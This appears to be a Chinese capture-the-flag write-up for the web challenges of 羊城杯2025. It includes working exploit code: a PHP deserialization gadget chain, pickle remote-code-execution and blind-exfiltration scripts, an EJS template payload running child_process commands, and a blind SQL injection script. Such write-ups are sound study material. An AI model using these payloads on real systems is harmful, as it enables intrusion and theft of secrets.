羊城杯2025

web

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
public $first;
public $step;
public $next;

public function __construct() {
$this->first = "继续加油!";
}

public function start() {
echo $this->next;
}
}

class E {
private $you;
public $found;
private $secret = "admin123";

public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}

class F {
public $fifth;
public $step;
public $finalstep;

public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H {
public $who;
public $are;
public $you;

public function __construct() {
$this->you = "nobody";
}

public function __destruct() {
$this->who->start();
}
}

class N {
public $congratulation;
public $yougotit;

public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}

class U {
public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}

public function __invoke() {
return $this->there->system($this->cmd);
}
}

class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

unserialize($_POST['payload']);

?>

类名大小写不区分,用小写 u 绕过就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
<?php

class A {
public $first;
public $step;
public $next;

public function __construct() {
$this->first = "继续加油!";
}

public function start() {
echo $this->next;
}
}

class E {
private $you;
public $found;
private $secret = "admin123";

public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}

class F {
public $fifth;
public $step;
public $finalstep;

public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}

class H {
public $who;
public $are;
public $you;

public function __construct() {
$this->you = "nobody";
}

public function __destruct() {
$this->who->start();
}
}

class N {
public $congratulation;
public $yougotit;

public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}

class U {
public $almost;
public $there;
public $cmd;

public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}

public function __invoke() {
return $this->there->system($this->cmd);
}
}

class V {
public $good;
public $keep;
public $dowhat;
public $go;

public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}

unserialize($_POST['payload']);

$h = new H();
$a = new A();
$h->who = $a;

$v = new V();
$a->next = $v;

$v->dowhat = "secret";
$e = new E();
$v->go = $e;

$f = new F();
$e->found = $f;

$f->finalstep = "u";

echo urlencode(serialize($h));

ezblog

爆破得到guest账号秘密是guest/guest
登录发现token为pickle16进制形式,猜测后端会利用pickle.loads解析

1
2
3
4
import pickle
import pickletools
data = bytes.fromhex('8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94888c096c6f676765645f696e948875622e')
pickletools.dis(data)

利用reduce生成命令执行代码,尝试sleep函数发现命令被执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import base64

# 伪造管理员用户
fake_user = {
'id': 1,
'username': 'admin',
'is_admin': True,
'logged_in': True
}

# 序列化
pickled_data = pickle.dumps(fake_user)
hex_data = pickled_data.hex()
print("伪造的pickle数据:", hex_data)

import pickle
import base64
import os

class RCE:
def __reduce__(self):
# 执行系统命令
# return (os.system, ('whoami',))
# 或者执行任意Python代码
return (eval, ("sleep(1)",))

# 生成payload
malicious_pickle = pickle.dumps(RCE())
hex_payload = malicious_pickle.hex()
print("RCE Payload:", hex_payload)
pickle.loads(malicious_pickle)

不能写不能弹shell,进行盲注
在根目录没有找到flag,读取环境变量在第142位后找到flag
payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import pickle
import binascii
import requests
import string
import time

URL = "http://45.40.247.139:26260/"

# 盲注参数
sleep_time = 2 # 每次猜对字符延迟时间
max_len = 500 # 预估 flag 最大长度
charset = string.ascii_letters + string.digits + string.punctuation + " "

recovered_flag = ""

for pos in range(142,max_len):
found = False
for ch in charset:
# 构造 payload
class LeakChar:
def __reduce__(self):
code = f"""
with open('/proc/1/environ','r') as f:
data = f.read()
if len(data) > {pos} and data[{pos}] == '{ch}':
import time
time.sleep({sleep_time})
"""
import builtins
return (builtins.exec, (code,))

payload = pickle.dumps(LeakChar(), protocol=4)
token_hex = binascii.hexlify(payload).decode()
cookies = {"Token": token_hex}

start = time.time()
try:
requests.get(URL, cookies=cookies, timeout=2)
except requests.exceptions.Timeout:
# 防止 sleep 超过 timeout 导致异常
pass
elapsed = time.time() - start

# 判断是否触发 sleep
if elapsed >= sleep_time:
recovered_flag += ch
print(f"[+] pos {pos} => '{ch}' current flag: {recovered_flag}")
found = True
break

if not found:
print("[*] 结束,flag长度:", len(recovered_flag))
break

print("[*] Recovered flag:", recovered_flag)

DASCTF{69117688220588723519412554652594}

staticNodeService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.set('view engine', 'ejs');
app.use(express.json({
limit: '1mb'
}));

const STATIC_DIR = path.join(__dirname, '/');


// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}


// static serve for simply view/download
app.use(express.static(STATIC_DIR));


// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})


// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})


// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);

if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}

fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});


// Server start
app.listen(PORT, () => {
console.log(`Static server is running on http://localhost:${PORT}`);
});

很明显需要上传ejs文件然后渲染运行readflag读取flag
<%=global.process.mainModule.require('child_process').execSync('/readflag')%>
但是存在检测是否为js结尾的waf,利用/views/x.ejs/.绕过
加载 x.ejs 模板获取flag

update(not solve 0解)

打个单引号就可以看到语句结构
update ycb_user set username='111' where open_id='1'
可以利用引号闭合进行查询,但是过滤较为严重,重点为过滤了select等,让常规查询方式难以进行,搜索到一篇文章SQL注入-Mysql8新特性,利用TABLE命令进行查询

写脚本爆破找flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
import string
import time

url = "http://45.40.247.139:30298/api.php?action=update"

# 请求头
headers = {
'Host': '45.40.247.139:30298',
'Content-Length': '141',
'Accept': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8',
'Origin': 'http://45.40.247.139:30298',
'Referer': 'http://45.40.247.139:30298/',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}

baseline_data = {
'open_id': f"-1'|| if(('def','ycb2025','ycb_user','','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.columns limit 3546,1),'aaaaaaaaaaaaaaaaaaaaaaaaa','s') ||'1'='2",
'username': '1'
}
# baseline_data = {
# 'open_id': f"-1'|| if(('def','',1,2,3,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6)<=(table information_schema.tables limit 329,1),'aaaaaaaaaaaaaaaaaaaaaaaaa','s') ||'1'='2",
# 'username': '1'
# }
charset = string.ascii_lowercase + string.digits + '_'
baseline_response = requests.post(url, headers=headers, data=baseline_data, timeout=10)
print(f"[+] 基准响应内容: {baseline_response.text}")
baseline_length = len(baseline_response.content)
print(f"[+] 基准响应长度: {baseline_length}")
temp=""
table=""
#innodb'{table}{chr(char)}'
while True:
found_char = False
for char in range(32, 126):
if char == ord('#') or char == ord('"')or char == ord('\\')or char == ord('/')or char == ord('*')or char == ord('$')or char == ord('%')or char == ord('&')or char == ord('+')or char == ord('-')or char==ord('\''):
continue
# 构造payload:检查表名的第position个字符是否为char
payload = f"-1'|| if(('def','ycb2025','ycb_user','{table}{chr(char)}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.columns limit 3549,1),'aaaaaaaaaaaaaaaaaaaaaaaaa','s') ||'1'='2"
# payload = f"-1'|| if((1,{table}{chr(char)},'')>(table ycb_user limit 3549,1),'aaaaaaaaaaaaaaaaaaaaaaaaa','s') ||'1'='2"
# payload = f"-1'|| if(('def','{table}{chr(char)}',1,2,3,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6)<=(table information_schema.tables limit 328,1),'aaaaaaaaaaaaaaaaaaaaaaaaa','s') ||'1'='2"

data = {
'open_id': payload,
'username': '1'
}

try:
response = requests.post(url, headers=headers, data=data, timeout=10)
response_length = len(response.content)
# 如果响应长度与基准不同,说明条件为真
if response_length <= baseline_length:
table += chr(char-1)
print(f"[+] 找到字符: {chr(char-1)}, 当前表名: {table}")
print(f"[+] 当前响应内容: {response.text}")
print(f"[+] 当前响应长度: {response_length}")
found_char = True
break

except Exception as e:
print(f"[-] 请求失败: {e}")
continue

# 避免请求过快
time.sleep(0.1)

# 如果没有找到字符,说明表名结束
if not found_char:
if table: # 确保表名不为空
print(f"[+] 发现表名: {table}")
break

但是没有找到flag位置